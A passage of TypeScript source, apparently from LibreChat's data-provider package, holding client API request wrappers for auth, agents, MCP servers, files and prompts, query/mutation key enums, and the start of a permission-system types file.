request.get(endpoints.presets());\n}\n\nexport function createPreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function updatePreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function deletePreset(arg: s.TPreset | undefined): Promise<m.PresetDeleteResponse> {\n return request.post(endpoints.deletePreset(), arg);\n}\n\nexport function getSearchEnabled(): Promise<boolean> {\n return request.get(endpoints.searchEnabled());\n}\n\nexport function getUser(): Promise<t.TUser> {\n return request.get(endpoints.user());\n}\n\nexport function getUserBalance(): Promise<t.TBalanceResponse> {\n return request.get(endpoints.balance());\n}\n\nexport const updateTokenCount = (text: string) => {\n return request.post(endpoints.tokenizer(), { arg: text });\n};\n\nexport const login = (payload: t.TLoginUser): Promise<t.TLoginResponse> => {\n return request.post(endpoints.login(), payload);\n};\n\nexport const logout = (): Promise<m.TLogoutResponse> => {\n return request.post(endpoints.logout());\n};\n\nexport const register = (payload: t.TRegisterUser) => {\n return request.post(endpoints.register(), payload);\n};\n\nexport const userKeyQuery = (name: string): Promise<t.TCheckUserKeyResponse> =>\n request.get(endpoints.userKeyQuery(name));\n\nexport const getLoginGoogle = () => {\n return request.get(endpoints.loginGoogle());\n};\n\nexport const requestPasswordReset = (\n payload: t.TRequestPasswordReset,\n): Promise<t.TRequestPasswordResetResponse> => {\n return request.post(endpoints.requestPasswordReset(), payload);\n};\n\nexport const resetPassword = (payload: t.TResetPassword) => {\n return request.post(endpoints.resetPassword(), payload);\n};\n\nexport const verifyEmail = (payload: t.TVerifyEmail): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.verifyEmail(), payload);\n};\n\nexport const resendVerificationEmail = (\n payload: t.TResendVerificationEmail,\n): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.resendVerificationEmail(), payload);\n};\n\nexport const getAvailablePlugins = (): Promise<s.TPlugin[]> => {\n return request.get(endpoints.plugins());\n};\n\nexport const updateUserPlugins = (payload: t.TUpdateUserPlugins) => {\n return request.post(endpoints.userPlugins(), payload);\n};\n\nexport const reinitializeMCPServer = (serverName: string) => {\n return request.post(endpoints.mcpReinitialize(serverName));\n};\n\nexport const bindMCPOAuth = (serverName: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.mcpOAuthBind(serverName));\n};\n\nexport const bindActionOAuth = (actionId: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.actionOAuthBind(actionId));\n};\n\nexport const getMCPConnectionStatus = (): Promise<q.MCPConnectionStatusResponse> => {\n return request.get(endpoints.mcpConnectionStatus());\n};\n\nexport const getMCPServerConnectionStatus = (\n serverName: string,\n): Promise<q.MCPServerConnectionStatusResponse> => {\n return request.get(endpoints.mcpServerConnectionStatus(serverName));\n};\n\nexport const getMCPAuthValues = (serverName: string): Promise<q.MCPAuthValuesResponse> => {\n return request.get(endpoints.mcpAuthValues(serverName));\n};\n\nexport function cancelMCPOAuth(serverName: string): Promise<m.CancelMCPOAuthResponse> {\n return request.post(endpoints.cancelMCPOAuth(serverName), {});\n}\n\n/* Config */\n\nexport const getStartupConfig = (): Promise<\n config.TStartupConfig & {\n mcpCustomUserVars?: Record<string, { title: string; description: string }>;\n }\n> => {\n return request.get(endpoints.config());\n};\n\nexport const getAIEndpoints = (): Promise<t.TEndpointsConfig> => {\n return request.get(endpoints.aiEndpoints());\n};\n\nexport const getModels = async (): Promise<t.TModelsConfig> => {\n return request.get(endpoints.models());\n};\n\n/* Assistants */\n\nexport const createAssistant = ({\n version,\n ...data\n}: a.AssistantCreateParams): Promise<a.Assistant> => {\n return request.post(endpoints.assistants({ version }), data);\n};\n\nexport const getAssistantById = ({\n endpoint,\n assistant_id,\n version,\n}: {\n endpoint: s.AssistantsEndpoint;\n assistant_id: string;\n version: number | string | number;\n}): Promise<a.Assistant> => {\n return request.get(\n endpoints.assistants({\n path: assistant_id,\n endpoint,\n version,\n }),\n );\n};\n\nexport const updateAssistant = ({\n assistant_id,\n data,\n version,\n}: {\n assistant_id: string;\n data: a.AssistantUpdateParams;\n version: number | string;\n}): Promise<a.Assistant> => {\n return request.patch(\n endpoints.assistants({\n path: assistant_id,\n version,\n }),\n data,\n );\n};\n\nexport const deleteAssistant = ({\n assistant_id,\n model,\n endpoint,\n version,\n}: m.DeleteAssistantBody & { version: number | string }): Promise<void> => {\n return request.delete(\n endpoints.assistants({\n path: assistant_id,\n options: { model, endpoint },\n version,\n }),\n );\n};\n\nexport const listAssistants = (\n params: a.AssistantListParams,\n version: number | string,\n): Promise<a.AssistantListResponse> => {\n return request.get(\n endpoints.assistants({\n version,\n options: params,\n }),\n );\n};\n\nexport function getAssistantDocs({\n endpoint,\n version,\n}: {\n endpoint: s.AssistantsEndpoint | string;\n version: number | string;\n}): Promise<a.AssistantDocument[]> {\n if (!s.isAssistantsEndpoint(endpoint)) {\n return Promise.resolve([]);\n }\n return request.get(\n endpoints.assistants({\n path: 'documents',\n version,\n options: { endpoint },\n endpoint: endpoint as s.AssistantsEndpoint,\n }),\n );\n}\n\n/* Tools */\n\nexport const getAvailableTools = (\n _endpoint: s.AssistantsEndpoint | s.EModelEndpoint.agents,\n version?: number | string,\n): Promise<s.TPlugin[]> => {\n let path = '';\n if (s.isAssistantsEndpoint(_endpoint)) {\n const endpoint = _endpoint as s.AssistantsEndpoint;\n path = endpoints.assistants({\n path: 'tools',\n endpoint: endpoint,\n version: version ?? config.defaultAssistantsVersion[endpoint],\n });\n } else {\n path = endpoints.agents({\n path: 'tools',\n });\n }\n\n return request.get(path);\n};\n\n/* MCP Tools - Decoupled from regular tools */\n\nexport const getMCPTools = (): Promise<q.MCPServersResponse> => {\n return request.get(endpoints.mcp.tools);\n};\n\nexport const getVerifyAgentToolAuth = (\n params: q.VerifyToolAuthParams,\n): Promise<q.VerifyToolAuthResponse> => {\n return request.get(\n endpoints.agents({\n path: `tools/${params.toolId}/auth`,\n }),\n );\n};\n\nexport const callTool = <T extends m.ToolId>({\n toolId,\n toolParams,\n}: {\n toolId: T;\n toolParams: m.ToolParams<T>;\n}): Promise<m.ToolCallResponse> => {\n return request.post(\n endpoints.agents({\n path: `tools/${toolId}/call`,\n }),\n toolParams,\n );\n};\n\nexport const getToolCalls = (params: q.GetToolCallParams): Promise<q.ToolCallResults> => {\n return request.get(\n endpoints.agents({\n path: 'tools/calls',\n options: params,\n }),\n );\n};\n\n/* Files */\n\nexport const getFiles = (): Promise<f.TFile[]> => {\n return request.get(endpoints.files());\n};\n\nexport const getAgentFiles = (agentId: string): Promise<f.TFile[]> => {\n return request.get(endpoints.agentFiles(agentId));\n};\n\nexport const getFileConfig = (): Promise<f.FileConfig> => {\n return request.get(`${endpoints.files()}/config`);\n};\n\nexport const uploadImage = (\n data: FormData,\n signal?: AbortSignal | null,\n): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.images(), data, requestConfig);\n};\n\nexport const uploadFile = (data: FormData, signal?: AbortSignal | null): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.files(), data, requestConfig);\n};\n\n/* actions */\n\nexport const updateAction = (data: m.UpdateActionVariables): Promise<m.UpdateActionResponse> => {\n const { assistant_id, version, ...body } = data;\n return request.post(\n endpoints.assistants({\n path: `actions/${assistant_id}`,\n version,\n }),\n body,\n );\n};\n\nexport function getActions(): Promise<ag.Action[]> {\n return request.get(\n endpoints.agents({\n path: 'actions',\n }),\n );\n}\n\nexport const deleteAction = async ({\n assistant_id,\n action_id,\n model,\n version,\n endpoint,\n}: m.DeleteActionVariables & { version: number | string }): Promise<void> =>\n request.delete(\n endpoints.assistants({\n path: `actions/${assistant_id}/${action_id}/${model}`,\n version,\n endpoint,\n }),\n );\n\n/**\n * Agents\n */\n\nexport const createAgent = ({ ...data }: a.AgentCreateParams): Promise<a.Agent> => {\n return request.post(endpoints.agents({}), data);\n};\n\nexport const getAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const getExpandedAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: `${agent_id}/expanded`,\n }),\n );\n};\n\nexport const updateAgent = ({\n agent_id,\n data,\n}: {\n agent_id: string;\n data: a.AgentUpdateParams;\n}): Promise<a.Agent> => {\n return request.patch(\n endpoints.agents({\n path: agent_id,\n }),\n data,\n );\n};\n\nexport const duplicateAgent = ({\n agent_id,\n}: m.DuplicateAgentBody): Promise<{ agent: a.Agent; actions: ag.Action[] }> => {\n return request.post(\n endpoints.agents({\n path: `${agent_id}/duplicate`,\n }),\n );\n};\n\nexport const deleteAgent = ({ agent_id }: m.DeleteAgentBody): Promise<void> => {\n return request.delete(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const listAgents = (params: a.AgentListParams): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n options: params,\n }),\n );\n};\n\nexport const revertAgentVersion = ({\n agent_id,\n version_index,\n}: {\n agent_id: string;\n version_index: number;\n}): Promise<a.Agent> => request.post(endpoints.revertAgentVersion(agent_id), { version_index });\n\n/* Marketplace */\n\n/**\n * Get agent categories with counts for marketplace tabs\n */\nexport const getAgentCategories = (): Promise<t.TMarketplaceCategory[]> => {\n return request.get(endpoints.agents({ path: 'categories' }));\n};\n\n/**\n * Unified marketplace agents endpoint with query string controls\n */\nexport const getMarketplaceAgents = (params: {\n requiredPermission: number;\n category?: string;\n search?: string;\n limit?: number;\n cursor?: string;\n promoted?: 0 | 1;\n}): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n // path: 'marketplace',\n options: params,\n }),\n );\n};\n\n/* Tools */\n\nexport const getAvailableAgentTools = (): Promise<s.TPlugin[]> => {\n return request.get(\n endpoints.agents({\n path: 'tools',\n }),\n );\n};\n\n/* Actions */\n\nexport const updateAgentAction = (\n data: m.UpdateAgentActionVariables,\n): Promise<m.UpdateAgentActionResponse> => {\n const { agent_id, ...body } = data;\n return request.post(\n endpoints.agents({\n path: `actions/${agent_id}`,\n }),\n body,\n );\n};\n\nexport const deleteAgentAction = async ({\n agent_id,\n action_id,\n}: m.DeleteAgentActionVariables): Promise<void> =>\n request.delete(\n endpoints.agents({\n path: `actions/${agent_id}/${action_id}`,\n }),\n );\n\n/**\n * MCP Servers\n */\n\n/**\n *\n * Ensure and List loaded mcp server configs from the cache Enriched with effective permissions.\n */\nexport const getMCPServers = async (): Promise<mcp.MCPServersListResponse> => {\n return request.get(endpoints.mcp.servers);\n};\n\n/**\n * Get a single MCP server by ID\n */\nexport const getMCPServer = async (serverName: string): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.get(endpoints.mcpServer(serverName));\n};\n\n/**\n * Create a new MCP server\n */\nexport const createMCPServer = async (\n data: mcp.MCPServerCreateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.post(endpoints.mcp.servers, data);\n};\n\n/**\n * Update an existing MCP server\n */\nexport const updateMCPServer = async (\n serverName: string,\n data: mcp.MCPServerUpdateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.patch(endpoints.mcpServer(serverName), data);\n};\n\n/**\n * Delete an MCP server\n */\nexport const deleteMCPServer = async (serverName: string): Promise<{ success: boolean }> => {\n return request.delete(endpoints.mcpServer(serverName));\n};\n\n/**\n * Imports a conversations file.\n *\n * @param data - The FormData containing the file to import.\n * @returns A Promise that resolves to the import start response.\n */\nexport const importConversationsFile = (data: FormData): Promise<t.TImportResponse> => {\n return request.postMultiPart(endpoints.importConversation(), data);\n};\n\nexport const uploadAvatar = (data: FormData): Promise<f.AvatarUploadResponse> => {\n return request.postMultiPart(endpoints.avatar(), data);\n};\n\nexport const uploadAssistantAvatar = (data: m.AssistantAvatarVariables): Promise<a.Assistant> => {\n return request.postMultiPart(\n endpoints.assistants({\n isAvatar: true,\n path: `${data.assistant_id}/avatar`,\n options: { model: data.model, endpoint: data.endpoint },\n version: data.version,\n }),\n data.formData,\n );\n};\n\nexport const uploadAgentAvatar = (data: m.AgentAvatarVariables): Promise<a.Agent> => {\n return request.postMultiPart(\n `${endpoints.images()}/agents/${data.agent_id}/avatar`,\n data.formData,\n );\n};\n\nexport const getFileDownload = async (userId: string, file_id: string): Promise<AxiosResponse> => {\n return request.getResponse(`${endpoints.files()}/download/${userId}/${file_id}`, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const getCodeOutputDownload = async (url: string): Promise<AxiosResponse> => {\n return request.getResponse(url, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const deleteFiles = async (payload: {\n files: f.BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: a.EToolResources;\n}): Promise<f.DeleteFilesResponse> =>\n request.deleteWithOptions(endpoints.files(), {\n data: payload,\n });\n\n/* Speech */\n\nexport const speechToText = (data: FormData): Promise<f.SpeechToTextResponse> => {\n return request.postMultiPart(endpoints.speechToText(), data);\n};\n\nexport const textToSpeech = (data: FormData): Promise<ArrayBuffer> => {\n return request.postTTS(endpoints.textToSpeechManual(), data);\n};\n\nexport const getVoices = (): Promise<f.VoiceResponse> => {\n return request.get(endpoints.textToSpeechVoices());\n};\n\nexport const getCustomConfigSpeech = (): Promise<t.TCustomConfigSpeechResponse> => {\n return request.get(endpoints.getCustomConfigSpeech());\n};\n\n/* conversations */\n\nexport function duplicateConversation(\n payload: t.TDuplicateConvoRequest,\n): Promise<t.TDuplicateConvoResponse> {\n return request.post(endpoints.duplicateConversation(), payload);\n}\n\nexport function forkConversation(payload: t.TForkConvoRequest): Promise<t.TForkConvoResponse> {\n return request.post(endpoints.forkConversation(), payload);\n}\n\nexport function deleteConversation(payload: t.TDeleteConversationRequest) {\n return request.deleteWithOptions(endpoints.deleteConversation(), { data: { arg: payload } });\n}\n\nexport function clearAllConversations(): Promise<unknown> {\n return request.delete(endpoints.deleteAllConversation());\n}\n\nexport const listConversations = (\n params?: q.ConversationListParams,\n): Promise<q.ConversationListResponse> => {\n return request.get(endpoints.conversations(params ?? {}));\n};\n\nexport function getConversations(cursor: string): Promise<t.TGetConversationsResponse> {\n return request.get(endpoints.conversations({ cursor }));\n}\n\nexport function getConversationById(id: string): Promise<s.TConversation> {\n return request.get(endpoints.conversationById(id));\n}\n\nexport function updateConversation(\n payload: t.TUpdateConversationRequest,\n): Promise<t.TUpdateConversationResponse> {\n return request.post(endpoints.updateConversation(), { arg: payload });\n}\n\nexport function archiveConversation(\n payload: t.TArchiveConversationRequest,\n): Promise<t.TArchiveConversationResponse> {\n return request.post(endpoints.archiveConversation(), { arg: payload });\n}\n\nexport function genTitle(payload: m.TGenTitleRequest): Promise<m.TGenTitleResponse> {\n return request.get(endpoints.genTitle(payload.conversationId));\n}\n\nexport const listMessages = (params?: q.MessagesListParams): Promise<q.MessagesListResponse> => {\n return request.get(endpoints.messages(params ?? {}));\n};\n\nexport function updateMessage(payload: t.TUpdateMessageRequest): Promise<unknown> {\n const { conversationId, messageId, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text });\n}\n\nexport function updateMessageContent(payload: t.TUpdateMessageContent): Promise<unknown> {\n const { conversationId, messageId, index, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text, index });\n}\n\nexport const editArtifact = async ({\n messageId,\n ...params\n}: m.TEditArtifactRequest): Promise<m.TEditArtifactResponse> => {\n return request.post(endpoints.messagesArtifacts(messageId), params);\n};\n\nexport const branchMessage = async (\n payload: m.TBranchMessageRequest,\n): Promise<m.TBranchMessageResponse> => {\n return request.post(endpoints.messagesBranch(), payload);\n};\n\nexport function getMessagesByConvoId(conversationId: string): Promise<s.TMessage[]> {\n if (\n conversationId === config.Constants.NEW_CONVO ||\n conversationId === config.Constants.PENDING_CONVO\n ) {\n return Promise.resolve([]);\n }\n return request.get(endpoints.messages({ conversationId }));\n}\n\nexport function getPrompt(id: string): Promise<{ prompt: t.TPrompt }> {\n return request.get(endpoints.getPrompt(id));\n}\n\nexport function getPrompts(filter: t.TPromptsWithFilterRequest): Promise<t.TPrompt[]> {\n return request.get(endpoints.getPromptsWithFilters(filter));\n}\n\nexport function getAllPromptGroups(): Promise<q.AllPromptGroupsResponse> {\n return request.get(endpoints.getAllPromptGroups());\n}\n\nexport function getPromptGroups(\n filter: t.TPromptGroupsWithFilterRequest,\n): Promise<t.PromptGroupListResponse> {\n return request.get(endpoints.getPromptGroupsWithFilters(filter));\n}\n\nexport function getPromptGroup(id: string): Promise<t.TPromptGroup> {\n return request.get(endpoints.getPromptGroup(id));\n}\n\nexport function createPrompt(payload: t.TCreatePrompt): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.postPrompt(), payload);\n}\n\nexport function addPromptToGroup(\n groupId: string,\n payload: t.TCreatePrompt,\n): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.addPromptToGroup(groupId), payload);\n}\n\nexport function updatePromptGroup(\n variables: t.TUpdatePromptGroupVariables,\n): Promise<t.TUpdatePromptGroupResponse> {\n return request.patch(endpoints.updatePromptGroup(variables.id), variables.payload);\n}\n\nexport function recordPromptGroupUsage(groupId: string): Promise<{ numberOfGenerations: number }> {\n return request.post(endpoints.recordPromptGroupUsage(groupId));\n}\n\nexport function deletePrompt(payload: t.TDeletePromptVariables): Promise<t.TDeletePromptResponse> {\n return request.delete(endpoints.deletePrompt(payload));\n}\n\nexport function makePromptProduction(id: string): Promise<t.TMakePromptProductionResponse> {\n return request.patch(endpoints.updatePromptTag(id));\n}\n\nexport function updatePromptLabels(\n variables: t.TUpdatePromptLabelsRequest,\n): Promise<t.TUpdatePromptLabelsResponse> {\n return request.patch(endpoints.updatePromptLabels(variables.id), variables.payload);\n}\n\nexport function deletePromptGroup(id: string): Promise<t.TDeletePromptGroupResponse> {\n return request.delete(endpoints.deletePromptGroup(id));\n}\n\nexport function getCategories(): Promise<t.TGetCategoriesResponse> {\n return request.get(endpoints.getCategories());\n}\n\nexport function getRandomPrompts(\n variables: t.TGetRandomPromptsRequest,\n): Promise<t.TGetRandomPromptsResponse> {\n return request.get(endpoints.getRandomPrompts(variables.limit, variables.skip));\n}\n\n/* Roles */\nexport function getRole(roleName: string): Promise<r.TRole> {\n return request.get(endpoints.getRole(roleName));\n}\n\nexport function updatePromptPermissions(\n variables: m.UpdatePromptPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updatePromptPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateAgentPermissions(\n variables: m.UpdateAgentPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateAgentPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateMemoryPermissions(\n variables: m.UpdateMemoryPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMemoryPermissions(variables.roleName), variables.updates);\n}\n\nexport function updatePeoplePickerPermissions(\n variables: m.UpdatePeoplePickerPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updatePeoplePickerPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMCPServersPermissions(\n variables: m.UpdateMCPServersPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMCPServersPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateRemoteAgentsPermissions(\n variables: m.UpdateRemoteAgentsPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updateRemoteAgentsPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMarketplacePermissions(\n variables: m.UpdateMarketplacePermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMarketplacePermissions(variables.roleName), variables.updates);\n}\n\n/* Tags */\nexport function getConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.get(endpoints.conversationTags());\n}\n\nexport function createConversationTag(\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.post(endpoints.conversationTags(), payload);\n}\n\nexport function updateConversationTag(\n tag: string,\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.put(endpoints.conversationTags(tag), payload);\n}\nexport function deleteConversationTag(tag: string): Promise<t.TConversationTagResponse> {\n return request.delete(endpoints.conversationTags(tag));\n}\n\nexport function addTagToConversation(\n conversationId: string,\n payload: t.TTagConversationRequest,\n): Promise<t.TTagConversationResponse> {\n return request.put(endpoints.addTagToConversation(conversationId), payload);\n}\nexport function rebuildConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.post(endpoints.conversationTags('rebuild'));\n}\n\nexport function healthCheck(): Promise<string> {\n return request.get(endpoints.health());\n}\n\nexport function getUserTerms(): Promise<t.TUserTermsResponse> {\n return request.get(endpoints.userTerms());\n}\n\nexport function acceptTerms(): Promise<t.TAcceptTermsResponse> {\n return request.post(endpoints.acceptUserTerms());\n}\n\nexport function getBanner(): Promise<t.TBannerResponse> {\n return request.get(endpoints.banner());\n}\n\nexport function updateFeedback(\n conversationId: string,\n messageId: string,\n payload: t.TUpdateFeedbackRequest,\n): Promise<t.TUpdateFeedbackResponse> {\n return request.put(endpoints.feedback(conversationId, messageId), payload);\n}\n\n// 2FA\nexport function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {\n return request.post(endpoints.enableTwoFactor(), payload);\n}\n\nexport function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.verifyTwoFactor(), payload);\n}\n\nexport function confirmTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.confirmTwoFactor(), payload);\n}\n\nexport function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDisable2FAResponse> {\n return request.post(endpoints.disableTwoFactor(), payload);\n}\n\nexport function regenerateBackupCodes(\n payload?: t.TRegenerateBackupCodesRequest,\n): Promise<t.TRegenerateBackupCodesResponse> {\n return request.post(endpoints.regenerateBackupCodes(), payload);\n}\n\nexport function verifyTwoFactorTemp(\n payload: t.TVerify2FATempRequest,\n): Promise<t.TVerify2FATempResponse> {\n return request.post(endpoints.verifyTwoFactorTemp(), payload);\n}\n\n/* Memories */\nexport const getMemories = (): Promise<q.MemoriesResponse> => {\n return request.get(endpoints.memories());\n};\n\nexport const deleteMemory = (key: string): Promise<void> => {\n return request.delete(endpoints.memory(key));\n};\n\nexport const updateMemory = (\n key: string,\n value: string,\n originalKey?: string,\n): Promise<q.TUserMemory> => {\n return request.patch(endpoints.memory(originalKey || key), { key, value });\n};\n\nexport const updateMemoryPreferences = (preferences: {\n memories: boolean;\n}): Promise<{ updated: boolean; preferences: { memories: boolean } }> => {\n return request.patch(endpoints.memoryPreferences(), preferences);\n};\n\nexport const createMemory = (data: {\n key: string;\n value: string;\n}): Promise<{ created: boolean; memory: q.TUserMemory }> => {\n return request.post(endpoints.memories(), data);\n};\n\nexport function searchPrincipals(\n params: q.PrincipalSearchParams,\n): Promise<q.PrincipalSearchResponse> {\n return request.get(endpoints.searchPrincipals(params));\n}\n\nexport function getAccessRoles(\n resourceType: permissions.ResourceType,\n): Promise<q.AccessRolesResponse> {\n return request.get(endpoints.getAccessRoles(resourceType));\n}\n\nexport function getResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TGetResourcePermissionsResponse> {\n return request.get(endpoints.getResourcePermissions(resourceType, resourceId));\n}\n\nexport function updateResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n data: permissions.TUpdateResourcePermissionsRequest,\n): Promise<permissions.TUpdateResourcePermissionsResponse> {\n return request.put(endpoints.updateResourcePermissions(resourceType, resourceId), data);\n}\n\nexport function getEffectivePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TEffectivePermissionsResponse> {\n return request.get(endpoints.getEffectivePermissions(resourceType, resourceId));\n}\n\nexport function getAllEffectivePermissions(\n resourceType: permissions.ResourceType,\n): Promise<permissions.TAllEffectivePermissionsResponse> {\n return request.get(endpoints.getAllEffectivePermissions(resourceType));\n}\n\n// SharePoint Graph API Token\nexport function getGraphApiToken(params: q.GraphTokenParams): Promise<q.GraphTokenResponse> {\n return request.get(endpoints.graphToken(params.scopes));\n}\n\nexport function getDomainServerBaseUrl(): string {\n return `${endpoints.apiBaseUrl()}/api`;\n}\n\n/* Active Jobs */\nexport interface ActiveJobsResponse {\n activeJobIds: string[];\n}\n\nexport const getActiveJobs = (): Promise<ActiveJobsResponse> => {\n return request.get(endpoints.activeJobs());\n};\n","export enum QueryKeys {\n messages = 'messages',\n sharedMessages = 'sharedMessages',\n sharedLinks = 'sharedLinks',\n allConversations = 'allConversations',\n archivedConversations = 'archivedConversations',\n searchConversations = 'searchConversations',\n conversation = 'conversation',\n searchEnabled = 'searchEnabled',\n user = 'user',\n name = 'name', // user key name\n models = 'models',\n balance = 'balance',\n endpoints = 'endpoints',\n presets = 'presets',\n searchResults = 'searchResults',\n tokenCount = 'tokenCount',\n availablePlugins = 'availablePlugins',\n startupConfig = 'startupConfig',\n assistants = 'assistants',\n assistant = 'assistant',\n agents = 'agents',\n agent = 'agent',\n files = 'files',\n fileConfig = 'fileConfig',\n tools = 'tools',\n toolAuth = 'toolAuth',\n toolCalls = 'toolCalls',\n mcpTools = 'mcpTools',\n mcpConnectionStatus = 'mcpConnectionStatus',\n mcpAuthValues = 'mcpAuthValues',\n agentTools = 'agentTools',\n actions = 'actions',\n assistantDocs = 'assistantDocs',\n agentDocs = 'agentDocs',\n fileDownload = 'fileDownload',\n voices = 'voices',\n customConfigSpeech = 'customConfigSpeech',\n prompts = 'prompts',\n prompt = 'prompt',\n promptGroups = 'promptGroups',\n allPromptGroups = 'allPromptGroups',\n promptGroup = 'promptGroup',\n categories = 'categories',\n randomPrompts = 'randomPrompts',\n agentCategories = 'agentCategories',\n marketplaceAgents = 'marketplaceAgents',\n roles = 'roles',\n conversationTags = 'conversationTags',\n health = 'health',\n userTerms = 'userTerms',\n banner = 'banner',\n /* Memories */\n memories = 'memories',\n principalSearch = 'principalSearch',\n accessRoles = 'accessRoles',\n resourcePermissions = 'resourcePermissions',\n effectivePermissions = 'effectivePermissions',\n graphToken = 'graphToken',\n /* MCP Servers */\n mcpServers = 'mcpServers',\n mcpServer = 'mcpServer',\n /* Active Jobs */\n activeJobs = 'activeJobs',\n /* Agent API Keys */\n agentApiKeys = 'agentApiKeys',\n}\n\n// Dynamic query keys that require parameters\nexport const DynamicQueryKeys = {\n agentFiles: (agentId: string) => ['agentFiles', agentId] as const,\n} as const;\n\nexport enum MutationKeys {\n createAgentApiKey = 'createAgentApiKey',\n deleteAgentApiKey = 'deleteAgentApiKey',\n fileUpload = 'fileUpload',\n fileDelete = 'fileDelete',\n updatePreset = 'updatePreset',\n deletePreset = 'deletePreset',\n loginUser = 'loginUser',\n logoutUser = 'logoutUser',\n refreshToken = 'refreshToken',\n avatarUpload = 'avatarUpload',\n speechToText = 'speechToText',\n textToSpeech = 'textToSpeech',\n assistantAvatarUpload = 'assistantAvatarUpload',\n agentAvatarUpload = 'agentAvatarUpload',\n updateAction = 'updateAction',\n updateAgentAction = 'updateAgentAction',\n deleteAction = 'deleteAction',\n deleteAgentAction = 'deleteAgentAction',\n revertAgentVersion = 'revertAgentVersion',\n deleteUser = 'deleteUser',\n updateRole = 'updateRole',\n enableTwoFactor = 'enableTwoFactor',\n verifyTwoFactor = 'verifyTwoFactor',\n updateMemoryPreferences = 'updateMemoryPreferences',\n}\n","import { z } from 'zod';\n\n/**\n * Granular Permission System Types for Agent Sharing\n *\n * This file contains TypeScript interfaces and Zod schemas for the enhanced\n * agent permission system that supports sharing with specific users/groups\n * and Entra ID integration.\n */\n\n// ===== ENUMS & CONSTANTS =====\n\n/**\n * Principal types for permission system\n */\nexport enum PrincipalType {\n USER = 'user',\n GROUP = 'group',\n PUBLIC = 'public',\n ROLE = 'role',\n}\n\n/**\n * Principal model types for MongoDB references\n */\nexport enum PrincipalModel {\n USER = 'User',\n GROUP = 'Group',\n ROLE = 'Role',\n}\n\n/**\n * Source of the principal (local LibreChat or external Entra ID)\n */\nexport type TPrincipalSource = 'local' | 'entra';\n\n/**\n * Access levels for agents\n */\nexport type TAccessLevel = 'none' | 'viewer' | 'editor' | 'owner';\n\n/**\n * Resource types for permission system\n */\nexport enum ResourceType {\n AGENT = 'agent',\n PROMPTGROUP = 'promptGroup',\n MCPSERVER = 'mcpServer',\n REMOTE_AGENT = 'remoteAgent',\n}\n\n/**\n * Permission bit constants for bitwise operations\n */\nexport enum PermissionBits {\n /** 001 - Can view and use agent */\n VIEW = 1,\n /** 010 - Can modify agent settings */\n EDIT = 2,\n /** 100 - Can delete agent */\n DELETE = 4,\n /** 1000 - Can share agent with others (future) */\n SHARE = 8,\n}\n\n/**\n * Standard access role IDs\n */\nexport enum AccessRoleIds {\n AGENT_VIEWER = 'agent_viewer',\n AGENT_EDITOR = 'agent_editor',\n AGENT_OWNER = 'agent_owner',\n PROMPTGROUP_VIEWER = 'promptGroup_viewer',\n PROMPTGROUP_EDITOR = 'promptGroup_editor',\n PROMPTGROUP_OWNER = 'promptGroup_owner',\n MCPSERVER_VIEWER = 'mcpServer_viewer',\n MCPSERVER_EDITOR = 'mcpServer_editor',\n MCPSERVER_OWNER = 'mcpServer_owner',\n REMOTE_AGENT_VIEWER = 'remoteAgent_viewer',\n REMOTE_AGENT_EDITOR = 